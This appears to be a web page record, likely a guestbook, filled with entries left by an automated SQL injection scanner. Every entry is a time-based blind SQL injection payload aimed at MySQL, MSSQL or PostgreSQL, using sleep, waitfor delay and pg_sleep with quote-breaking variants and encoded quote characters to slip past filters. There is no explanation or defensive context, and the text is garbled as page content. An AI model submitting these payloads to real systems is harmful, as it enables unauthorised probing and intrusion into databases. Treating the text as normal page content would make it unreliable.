(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
-1; waitfor delay '0:0:15' --

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
-1); waitfor delay '0:0:15' --

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
-1 waitfor delay '0:0:15' --

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
sjorQlh5'; waitfor delay '0:0:15' --

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
qpKcJr2Z'); waitfor delay '0:0:15' --

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
IVcLeO9e')); waitfor delay '0:0:15' --

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
i68v6i8v' OR 983=(SELECT 983 FROM PG_SLEEP(15))--

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
yH6oYrIC') OR 334=(SELECT 334 FROM PG_SLEEP(15))--

Guest:
555%C0%A7%C0%A2%2527%2522\'\"
SqrLZg3O')) OR 274=(SELECT 274 FROM PG_SLEEP(15))--